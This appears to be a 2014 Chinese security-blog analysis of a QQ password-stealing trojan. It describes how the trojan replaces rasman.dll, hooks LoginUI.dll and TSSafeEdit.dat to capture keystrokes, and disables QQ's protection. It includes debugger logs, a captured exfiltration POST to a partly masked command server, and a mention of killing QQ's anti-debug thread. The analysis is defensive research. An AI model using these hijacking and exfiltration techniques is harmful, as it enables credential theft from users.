09月03, 2014

拉丝人QQ盗号木马重创腾讯QQ密码安全机制

MD5:9913C5BAC226057B1C0C7B98DF0D982B

文件: C:\Users\administrator\Desktop\9913c5bac226057b1c0c7b98df0d982b.exe

UPX壳

主要行为:破坏QQ自我保护机制,进行盗号

1. 标准的提权

lsr1

用时间戳产生随机木马文件名

lsr2

移动自身用于木马隐藏

lsr4

lsr3

启动线程开始干活了

lsr5

用注册表找到QQ的保护程序

lsr6

找到关键的QQ保护程序的路径

lsr12lsr15

删除QQProtect/bin目录下的文件,破坏QQ的自我保护

lsr14

释放rasman.dll劫持QQ的dll

lsr16

把原来qq模块的rasman.dll,改名为rasmanOrg.dll

lsr17

这个rasman.dll是盗号的主体,主要用于破坏qq保护机制和盗号。

lsr18

这个是rasman.dll的函数转发,也就是dll劫持

lsr19

结束qq的进程,然后等着qq重启。完成dll劫持

lsr23

下面是核心的盗号功能实现,

lsr20

sub_10001600()是hookQQ登陆窗体焦点的函数,sub_100028d0钩子的实现函数,也就是把unk_10015078这个地址hook成sub_100019B0

sub_100019B0 功能是从内存中找到QQ账号和密码的明文,然后新建一个发送qq用户名和密码的线程发出去。

如下:

lsr21

下面是关键的挂钩子的地方,

lsr27

挂钩子的关键地点:

这两个钩子都挂在了LoginUI.dll上,主要用于劫持焦点和登陆消息的

lsr29

lsr28

完成挂钩功能的函数:

lsr26

重新登陆qq,发现rasman.dll已经被盗号木马劫持,

lsr25

此时,看一下木马下的钩子

lsr30

这两个应该是QQ窗体的框的显示处理函数

还有一个对安全模块TSSafeEdit.dat的钩子。

关键看一下如何搞定安全模块的钩子吧。

len(10) QSLogic.dll 0x119026B0->0x76693454[C:\WINDOWS\system32\WININET.dll] inline 8B FF 90 90 90 E9 9A 0D D9 64 90 90 90 90 90 E9 90 90 90 90
len(10) QSLogic.dll 0x119026D0->0x7669EE02[C:\WINDOWS\system32\WININET.dll] inline 8B FF 90 90 90 E9 28 C7 D9 64 90 90 90 90 90 E9 90 90 90 90
len(10) QSLogic.dll 0x119026E0->0x71A24C29[C:\WINDOWS\system32\WS2_32.dll] inline 8B FF 90 90 90 E9 3F 25 12 60 90 90 90 90 90 E9 90 90 90 90
len(10) QSLogic.dll 0x119026F0->0x71A22F53[C:\WINDOWS\system32\WS2_32.dll] inline 8B FF 90 90 90 E9 59 08 12 60 90 90 90 90 90 E9 90 90 90 90
[*]len(5) LoginUI.dll 0x026270ED->0x02C10000 inline E9 0E 8F 5E 00 88 45 F3 FF D6
[*]len(6) LoginLogic.dll 0x02A2736A->0x01D00000 inline E9 91 8C 2D FF 90 8B 46 04 FF 76 14
[*]len(5) LoginLogic.dll 0x02A27386->0x01CE0000 inline E9 75 8C 2B FF 55 8B EC 56 57
[*]len(6) TSSafeEdit.dat 0x02B7A737->0x02FF0000 inline E9 C4 58 47 00 90 55 8B EC 83 EC 0C

我们看一下钩子地方是干嘛的。。。然后钩子之后又是怎么处理的,一切就都明了了。

钩子的原始值:55 8B EC 83 EC 0C

这个应该是

push ebp

mov ebp,esp

push esi

push edi

挂钩之后

E9 C4 58 47 00 90 这个几个十六进制对应的指令是基于指令本身地址偏移跳转的

0:010> u 02b7a737
TSSafeEdit+0xa737:
02b7a737 e9c4584700 jmp 02ff0000
02b7a73c 90 nop

也就是跳到了02ff0000的地方。。。先看这个地方干了什么。。

0:010> u 02ff0000
02ff0000 60 pushad
02ff0001 6800000003 push 3000000h
* ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Tencent\QQ\bin\rasman.dll – 02ff0006 e955182dfe jmp rasman+0x1860 (012c1860) 02ff000b 90 nop 02ff000c 90 nop 02ff000d 0000 add byte ptr [eax],al 02ff000f 0000 add byte ptr [eax],al 02ff0011 0000 add byte ptr [eax],al 0:010> u 012c1860 rasman+0x1860: 012c1860 8b74242c mov esi,dword ptr [esp+2Ch] 012c1864 8b5c2434 mov ebx,dword ptr [esp+34h] 012c1868 33c9 xor ecx,ecx 012c186a 8aca mov cl,dl 012c186c 83fb01 cmp ebx,1 012c186f 751a jne rasman+0x188b (012c188b) 012c1871 81f9cc000000 cmp ecx,0CCh 012c1877 750b jne rasman+0x1884 (012c1884)**

直接到了012c1860这个地方,直接找到这个函数,地址转换过了。

lsr40

AreFileApiIsANSI 检测一个I/O使用的是ANSI 还是 OEM 字符,这个是qq处理密码的关键函数,也是QQ密码传递到TSSafeEdit.dll的函数。木马也就是截取了加密的账号和密码,然后启动线程发出去了。也就盗号了

lsr31

再看看TSSafeEdit这个保护模块的作用,QQ密码框接到输入消息之后交给TSSafeEdit去处理账号和密码字符,

再看TSSafeEdit,挂钩之前的函数,

0:010> u 02b7a737
TSSafeEdit+0xa737:
02b7a737 e9c4584700 jmp 02ff0000 这里被挂了钩子
02b7a73c 90 nop

02b7a73d 53 push ebx
02b7a73e 8bd9 mov ebx,ecx
02b7a740 56 push esi
02b7a741 57 push edi
02b7a742 895dfc mov dword ptr [ebp-4],ebx
02b7a745 51 push ecx
0:010> u
TSSafeEdit+0xa746:
02b7a746 e804000000 call TSSafeEdit+0xa74f (02b7a74f)
02b7a74b 0f88eb1059eb js ee10b83c
02b7a751 025033 add dl,byte ptr [eax+33h]
02b7a754 83c102 add ecx,2
02b7a757 eb02 jmp TSSafeEdit+0xa75b (02b7a75b)
02b7a759 7690 jbe TSSafeEdit+0xa6eb (02b7a6eb)
02b7a75b 51 push ecx
02b7a75c c3 ret

函数很短,应该就是接到qq账号和密码,进行加密处理。。。就不深入搞了。。。。

木马作者hook了从密码框到安全TSSafeEdit.dll的过程函数,并夺取了焦点,此时qq还没进行加密处理。

在这里下个断点,应该能拿到qq账号和密码, 然后在这个地方下断点,敲入QQ密码的时候断点触发,在密码框每次敲入一个字符,就截获一次。

然后我们在密码框输入1,截获到密码:0x31 也就是ascii的‘1’,在这个钩子的地方被劫持到了。一个值不足以证明,或许是巧合,

lsr32

0:000> t
eax=00000000 ebx=77d568b8 ecx=00916c98 edx=7c92e4f4 esi=009157f0 edi=00000000
eip=012c1860 esp=0012f134 ebp=0012f188 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
rasman+0x1860:
012c1860 8b74242c mov esi,dword ptr [esp+2Ch] ss:0023:0012f160=00000031 ‘1’

这里搞到了密码,

为了验证不是巧合,在密码框输入的abc

0:000> g
Breakpoint 0 hit
eax=00000001 ebx=77d568b8 ecx=00916c98 edx=7c92e4f4 esi=009157f0 edi=00000000
eip=012c1860 esp=0012f134 ebp=0012f188 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
rasman+0x1860:
012c1860 8b74242c mov esi,dword ptr [esp+2Ch] ss:0023:0012f160=00000061 ‘a’
0:000> g
Breakpoint 0 hit
eax=00000002 ebx=77d568b8 ecx=00916c98 edx=7c92e4f4 esi=009157f0 edi=00000000
eip=012c1860 esp=0012f134 ebp=0012f188 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
rasman+0x1860:
012c1860 8b74242c mov esi,dword ptr [esp+2Ch] ss:0023:0012f160=00000062 ‘b’
0:000> c
Address expression missing from ‘
0:000> g
Breakpoint 0 hit
eax=00000003 ebx=77d568b8 ecx=00916c98 edx=7c92e4f4 esi=009157f0 edi=00000000
eip=012c1860 esp=0012f134 ebp=0012f188 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
rasman+0x1860:
012c1860 8b74242c mov esi,dword ptr [esp+2Ch] ss:0023:0012f160=00000063 ‘c’

密码已经截获,有代码有真相。

lsr33

rasman是木马作者dll劫持之后注入的模块。

然后之前对LoginUI的hook就起作用了,对LoginUI的hook主要是获取qq登陆成功的消息,登陆成功之后,把刚才截获的密码发出去就行了。获取qq账号方法很多,篇幅所限,这里不做深入分析。

这是关键对QQ登陆窗体下钩子的地方,位于模块rasman.dll中

lsr34

这里是劫持焦点,夺取密码的地方。

lsr35

接受qq号和密码的地址

POST /qq/lin.asp HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Host: ***.186.130.187:81

Content-Length: 62

Cache-Control: no-cache

name=3022283010&pass=&ver=5.5.11447.0&mac=000C299FDCA2&id=0202

HTTP/1.1 200 OK

Cache-Control: private

Date: Mon, 01 Sep 2014 10:09:48 GMT

Content-Length: 2

补充:

要想进行调试,还要过一下qq的进程保护,要不没法挂调试器下断点,读内存。。。

lsr37

保护的功能在QQProtect.exe这个进程中。主要防护线程是CreateThread+0x2e,具体机制不写了。暴力干掉这个线程过掉反调试。

lsr38

本文链接:http://blogs.360.cn/post/trojan_qqpass.html

-- EOF --

Comments